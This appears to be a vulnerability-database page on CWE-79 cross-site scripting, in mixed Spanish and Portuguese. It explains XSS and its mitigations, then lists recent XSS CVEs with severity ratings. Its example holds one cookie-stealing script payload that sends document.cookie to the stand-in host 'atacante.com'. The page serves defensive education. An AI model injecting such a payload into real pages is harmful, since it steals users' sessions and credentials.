Fallos del tipo CWE-79

30.184 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-47045MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-14028MEDIUMContact Us Simple Form <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin SettingsEPSS 0.3%CVE-2025-23036MEDIUMCross-Site Scripting (XSS) Reflected endpoint 'pre_cadastro_funcionario.php' parameter 'msg_e' in WeGIAEPSS 0.3%CVE-2025-5529MEDIUMEducenter <= 1.6.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-27405HIGHIcinga Web 2 has XSS in embedded contentEPSS 0.3%CVE-2024-8179MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.3%CVE-2024-52494MEDIUMWordPress Dynamic To Top plugin <= 3.5.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7380MEDIUMA stored Cross-Site Scripting (XSS) vulnerability exists in the Access Control of ADMEPSS 0.3%CVE-2025-15022MEDIUMCross-site scripting in Action captionEPSS 0.3%CVE-2024-5922MEDIUMScylla lite <= 1.8.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button ShortcodeEPSS 0.3%CVE-2025-67712MEDIUMHTML injection issue in ArcGIS Web App BuilderEPSS 0.3%CVE-2025-14057MEDIUMMulti-column Tag Map <= 17.0.39 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'mctm_css_conditional' ParameterEPSS 0.3%CVE-2024-57599MEDIUMCross Site Scripting vulnerability in DouPHP v.1.8 Release 20231203 allows attackers to execute arbitrary code via a crafted payload injecteEPSS 0.3%CVE-2025-40723MEDIUMStored Cross-Site Scripting (XSS) vulnerability on FlatboardEPSS 0.3%CVE-2024-37416HIGHWordPress WP Photo Album Plus plugin <= 8.8.00.002 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7799HIGHReflected XSS in Zirve Information Technologies' e-Taxpayer Accounting WebsiteEPSS 0.3%CVE-2025-8509MEDIUMPortabilis i-Educar educar_servidor_cad.php cross site scriptingEPSS 0.3%CVE-2024-5925MEDIUMTheron Lite <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button ShortcodeEPSS 0.3%CVE-2024-3973MEDIUMHouse Manager <= 1.0.8.4 - Reflected XSSEPSS 0.3%CVE-2025-13974MEDIUMEmail Customizer for WooCommerce | Drag and Drop Email Templates Builder <= 2.6.7 - Authenticated (Administrator+) Stored Cross-Site Scripting via Email Template ContentEPSS 0.3%